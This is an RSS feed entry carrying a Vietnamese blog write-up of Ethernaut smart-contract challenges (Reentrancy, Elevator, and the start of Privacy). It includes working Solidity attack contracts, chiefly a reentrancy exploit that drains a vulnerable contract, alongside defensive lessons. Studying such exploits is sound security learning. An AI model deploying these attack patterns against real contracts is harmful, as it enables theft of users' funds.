<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom"><channel><title>Solidity on Giap's Blog</title><link>https://giapppp.github.io/tags/solidity/</link><description>Recent content in Solidity on Giap's Blog</description><generator>Hugo -- gohugo.io</generator><language>en</language><lastBuildDate>Tue, 30 Apr 2024 00:00:00 +0000</lastBuildDate><atom:link href="https://giapppp.github.io/tags/solidity/index.xml" rel="self" type="application/rss+xml"/><item><title>Blockchain Thingies</title><link>https://giapppp.github.io/posts/blockchain-thingies/</link><pubDate>Tue, 30 Apr 2024 00:00:00 +0000</pubDate><guid>https://giapppp.github.io/posts/blockchain-thingies/</guid><description>&lt;p>Blockchain security notes and Ethernaut challenge writeups.&lt;/p>
&lt;h1 id="blockchain-thingies">Blockchain Thingies&lt;/h1>
&lt;h2 id="ethernaut">Ethernaut&lt;/h2>
&lt;h3 id="reentrancy">Reentrancy&lt;/h3>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-solidity" data-lang="solidity">&lt;span class="line">&lt;span class="cl">&lt;span class="c1">// SPDX-License-Identifier: MIT
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">&lt;/span>&lt;span class="k">pragma solidity&lt;/span> &lt;span class="o">^&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="mi">6&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="mi">12&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="kn">import&lt;/span> &lt;span class="s">&amp;#34;openzeppelin-contracts-06/math/SafeMath.sol&amp;#34;&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="kd">contract&lt;/span> &lt;span class="nc">Reentrance&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kn">using&lt;/span> &lt;span class="n">SafeMath&lt;/span> &lt;span class="k">for&lt;/span> &lt;span class="kt">uint256&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kd">mapping&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="kt">address&lt;/span> &lt;span class="o">=&amp;gt;&lt;/span> &lt;span class="kt">uint256&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="k">public&lt;/span> &lt;span class="n">balances&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kd">function&lt;/span> &lt;span class="nf">donate&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="kt">address&lt;/span> &lt;span class="n">_to&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="k">public&lt;/span> &lt;span class="k">payable&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">balances&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="n">_to&lt;/span>&lt;span class="p">]&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">balances&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="n">_to&lt;/span>&lt;span class="p">].&lt;/span>&lt;span class="n">add&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="nb">msg&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nb">value&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kd">function&lt;/span> &lt;span class="nf">balanceOf&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="kt">address&lt;/span> &lt;span class="n">_who&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="k">public&lt;/span> &lt;span class="k">view&lt;/span> &lt;span class="k">returns&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="kt">uint256&lt;/span> &lt;span class="nb">balance&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">return&lt;/span> &lt;span class="n">balances&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="n">_who&lt;/span>&lt;span class="p">];&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kd">function&lt;/span> &lt;span class="nf">withdraw&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="kt">uint256&lt;/span> &lt;span class="n">_amount&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="k">public&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">if&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="n">balances&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="nb">msg&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nb">sender&lt;/span>&lt;span class="p">]&lt;/span> &lt;span class="o">&amp;gt;=&lt;/span> &lt;span class="n">_amount&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">(&lt;/span>&lt;span class="kt">bool&lt;/span> &lt;span class="n">result&lt;/span>&lt;span class="p">,)&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="nb">msg&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nb">sender&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nb">call&lt;/span>&lt;span class="p">{&lt;/span>&lt;span class="nb">value&lt;/span>&lt;span class="o">:&lt;/span> &lt;span class="n">_amount&lt;/span>&lt;span class="p">}(&lt;/span>&lt;span class="s">&amp;#34;&amp;#34;&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">if&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="n">result&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">_amount&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">balances&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="nb">msg&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nb">sender&lt;/span>&lt;span class="p">]&lt;/span> &lt;span class="o">-=&lt;/span> &lt;span class="n">_amount&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">receive&lt;/span>&lt;span class="p">()&lt;/span> &lt;span class="k">external&lt;/span> &lt;span class="k">payable&lt;/span> &lt;span class="p">{}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Ở đây, ta sẽ chú ý đến hàm &lt;code>call&lt;/code>. Trong Solidity, có 3 hàm dùng để chuyển Ether:&lt;/p>
&lt;ul>
&lt;li>&lt;code>transfer&lt;/code> (2300 gas, throws error)&lt;/li>
&lt;li>&lt;code>send&lt;/code> (2300 gas, returns bool)&lt;/li>
&lt;li>&lt;code>call&lt;/code> (forward all gas or set gas, returns bool)&lt;/li>
&lt;/ul>
&lt;p>Khác với hai hàm còn lại, &lt;code>call&lt;/code> sẽ không giới hạn số lượng gas sử dụng, ta sẽ sử dụng điều này để thực hiện &lt;strong>Reentrancy attack&lt;/strong>.&lt;/p>
&lt;p>Khi server contract gửi ether, contract nhận cần phải có 1 trong 2 hàm là &lt;code>receive()&lt;/code> và &lt;code>fallback()&lt;/code>. Do &lt;code>msg.data = &amp;quot;&amp;quot;&lt;/code> nên contract nhận sẽ dùng hàm &lt;code>receive&lt;/code> để nhận tiền. Nếu như trong hàm &lt;code>receive&lt;/code> ta rút tiền lần nữa, vậy sẽ xảy ra việc lặp vô tận và ta có thể rút tiền cho đến khi server contract cạn tiền.
Một điều nữa trong bài cho phép Reentrancy Attack hoạt động là do server contract cập nhật &lt;code>balances&lt;/code> sau khi gọi hàm &lt;code>call&lt;/code>, dẫn đến điều kiện &lt;code>balances[msg.server] &amp;gt;= _amount&lt;/code> luôn thỏa mãn, vì vậy ta có thể thực hiện hàm &lt;code>call&lt;/code> liên tục&lt;/p>
&lt;p>&lt;code>Solve.sol&lt;/code>&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-solidity" data-lang="solidity">&lt;span class="line">&lt;span class="cl">&lt;span class="c1">// SPDX-License-Identifier: MIT
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">&lt;/span>&lt;span class="k">pragma solidity&lt;/span> &lt;span class="o">^&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="mi">8&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="kn">import&lt;/span> &lt;span class="s">&amp;#34;contracts/Reentrancy.sol&amp;#34;&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="kd">contract&lt;/span> &lt;span class="nc">Solve&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">Reentrance&lt;/span> &lt;span class="n">IReentrance&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kt">uint256&lt;/span> &lt;span class="k">public&lt;/span> &lt;span class="n">__value&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kd">constructor&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="kt">address&lt;/span> &lt;span class="n">instanceAddress&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="k">public&lt;/span> &lt;span class="k">payable&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">IReentrance&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">Reentrance&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="k">payable&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">instanceAddress&lt;/span>&lt;span class="p">));&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kd">function&lt;/span> &lt;span class="nf">attack&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="kt">uint256&lt;/span> &lt;span class="n">_value&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="k">external&lt;/span> &lt;span class="k">payable&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">IReentrance&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="n">donate&lt;/span>&lt;span class="p">{&lt;/span>&lt;span class="nb">value&lt;/span>&lt;span class="o">:&lt;/span> &lt;span class="n">_value&lt;/span>&lt;span class="p">}(&lt;/span>&lt;span class="kt">address&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="nb">this&lt;/span>&lt;span class="p">));&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">IReentrance&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="n">withdraw&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">_value&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">__value&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">_value&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">receive&lt;/span>&lt;span class="p">()&lt;/span> &lt;span class="k">external&lt;/span> &lt;span class="k">payable&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kt">uint256&lt;/span> &lt;span class="n">contractValue&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="kt">address&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">IReentrance&lt;/span>&lt;span class="p">).&lt;/span>&lt;span class="nb">balance&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">contractValue&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">IReentrance&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="n">withdraw&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">__value&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;ul>
&lt;li>Deploy contract với một lượng wei tùy ý&lt;/li>
&lt;li>Donate server contract 1 lượng wei tùy ý&lt;/li>
&lt;li>Gọi hàm attack với _value nhỏ hơn lượng wei mà ta donate&lt;/li>
&lt;li>Xong&lt;/li>
&lt;/ul>
&lt;p>Bài học:&lt;/p>
&lt;ul>
&lt;li>Cập nhật các giá trị thay đổi trước khi gọi contract khác&lt;/li>
&lt;li>Từ tháng 12/2019, người ta khuyến khích sử dụng hàm &lt;code>call&lt;/code> với &lt;a href="https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/utils/ReentrancyGuard.sol">Reentrancy Guard&lt;/a>&lt;/li>
&lt;/ul>
&lt;h3 id="elevator">Elevator&lt;/h3>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-solidity" data-lang="solidity">&lt;span class="line">&lt;span class="cl">&lt;span class="c1">// SPDX-License-Identifier: MIT
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">&lt;/span>&lt;span class="k">pragma solidity&lt;/span> &lt;span class="o">^&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="mi">8&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="kd">interface&lt;/span> &lt;span class="nc">Building&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kd">function&lt;/span> &lt;span class="nf">isLastFloor&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="kt">uint256&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="k">external&lt;/span> &lt;span class="k">returns&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="kt">bool&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="kd">contract&lt;/span> &lt;span class="nc">Elevator&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kt">bool&lt;/span> &lt;span class="k">public&lt;/span> &lt;span class="n">top&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kt">uint256&lt;/span> &lt;span class="k">public&lt;/span> &lt;span class="n">floor&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kd">function&lt;/span> &lt;span class="nf">goTo&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="kt">uint256&lt;/span> &lt;span class="n">_floor&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="k">public&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">Building&lt;/span> &lt;span class="n">building&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">Building&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="nb">msg&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nb">sender&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">if&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="o">!&lt;/span>&lt;span class="n">building&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="n">isLastFloor&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">_floor&lt;/span>&lt;span class="p">))&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">floor&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">_floor&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">top&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">building&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="n">isLastFloor&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">floor&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Với việc interface không được set &lt;code>view&lt;/code> hoặc &lt;code>pure&lt;/code>, ta có thể thay đổi state của data&lt;/p>
&lt;p>&lt;code>solve.sol&lt;/code>&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-solidity" data-lang="solidity">&lt;span class="line">&lt;span class="cl">&lt;span class="c1">// SPDX-License-Identifier: MIT
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">&lt;/span>&lt;span class="k">pragma solidity&lt;/span> &lt;span class="o">^&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="mi">8&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="kn">import&lt;/span> &lt;span class="s">&amp;#34;contracts/Elevator.sol&amp;#34;&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="kd">contract&lt;/span> &lt;span class="nc">Solve&lt;/span> &lt;span class="k">is&lt;/span> &lt;span class="n">Building&lt;/span>&lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">Elevator&lt;/span> &lt;span class="n">IElevator&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kt">bool&lt;/span> &lt;span class="k">public&lt;/span> &lt;span class="n">last&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="kc">false&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kd">function&lt;/span> &lt;span class="nf">getInstance&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="kt">address&lt;/span> &lt;span class="n">instanceAddress&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="k">public&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">IElevator&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">Elevator&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">instanceAddress&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kd">function&lt;/span> &lt;span class="nf">isLastFloor&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="kt">uint256&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="k">external&lt;/span> &lt;span class="k">returns&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="kt">bool&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kt">bool&lt;/span> &lt;span class="n">ret&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">last&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">last&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="o">!&lt;/span>&lt;span class="n">last&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">return&lt;/span> &lt;span class="n">ret&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kd">function&lt;/span> &lt;span class="nf">solve&lt;/span>&lt;span class="p">()&lt;/span> &lt;span class="k">public&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">IElevator&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="n">goTo&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;ul>
&lt;li>Khi gọi hàm &lt;code>isLastFloor&lt;/code> lần đầu, biến &lt;code>last&lt;/code> đang là &lt;code>false&lt;/code>, vậy khi gọi hàm lần nữa, &lt;code>last&lt;/code> sẽ trở thành &lt;code>true&lt;/code> và ta đã hoàn thành&lt;/li>
&lt;/ul>
&lt;p>Bài học:&lt;/p>
&lt;ul>
&lt;li>Cần để trạng thái là &lt;code>view&lt;/code> hoặc &lt;code>pure&lt;/code> cho interface hoặc abstract nếu không muốn bị thay đổi&lt;/li>
&lt;/ul>
&lt;h3 id="privacy">Privacy&lt;/h3>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-solidity" data-lang="solidity">&lt;span class="line">&lt;span class="cl">&lt;span class="c1">// SPDX-License-Identifier: MIT
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">&lt;/span>&lt;span class="k">pragma solidity&lt;/span> &lt;span class="o">^&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="mi">8&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="kd">contract&lt;/span> &lt;span class="nc">Privacy&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kt">bool&lt;/span> &lt;span class="k">public&lt;/span> &lt;span class="n">locked&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="kc">true&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kt">uint256&lt;/span> &lt;span class="k">public&lt;/span> &lt;span class="n">ID&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="nb">block&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nb">timestamp&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kt">uint8&lt;/span> &lt;span class="k">private&lt;/span> &lt;span class="n">flattening&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="mi">10&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kt">uint8&lt;/span> &lt;span class="k">private&lt;/span> &lt;span class="n">denomination&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="mi">255&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kt">uint16&lt;/span> &lt;span class="k">private&lt;/span> &lt;span class="n">awkwardness&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="kt">uint16&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="nb">block&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nb">timestamp&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kt">bytes32&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="mi">3&lt;/span>&lt;span class="p">]&lt;/span> &lt;span class="k">private&lt;/span> &lt;span class="nb">data&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kd">constructor&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="kt">bytes32&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="mi">3&lt;/span>&lt;span class="p">]&lt;/span> &lt;span class="k">memory&lt;/span> &lt;span class="n">_data&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nb">data&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">_data&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kd">function&lt;/span> &lt;span class="nf">unlock&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="kt">bytes16&lt;/span> &lt;span class="n">_key&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="k">public&lt;/span> &lt;span class="p">{&lt;/span>
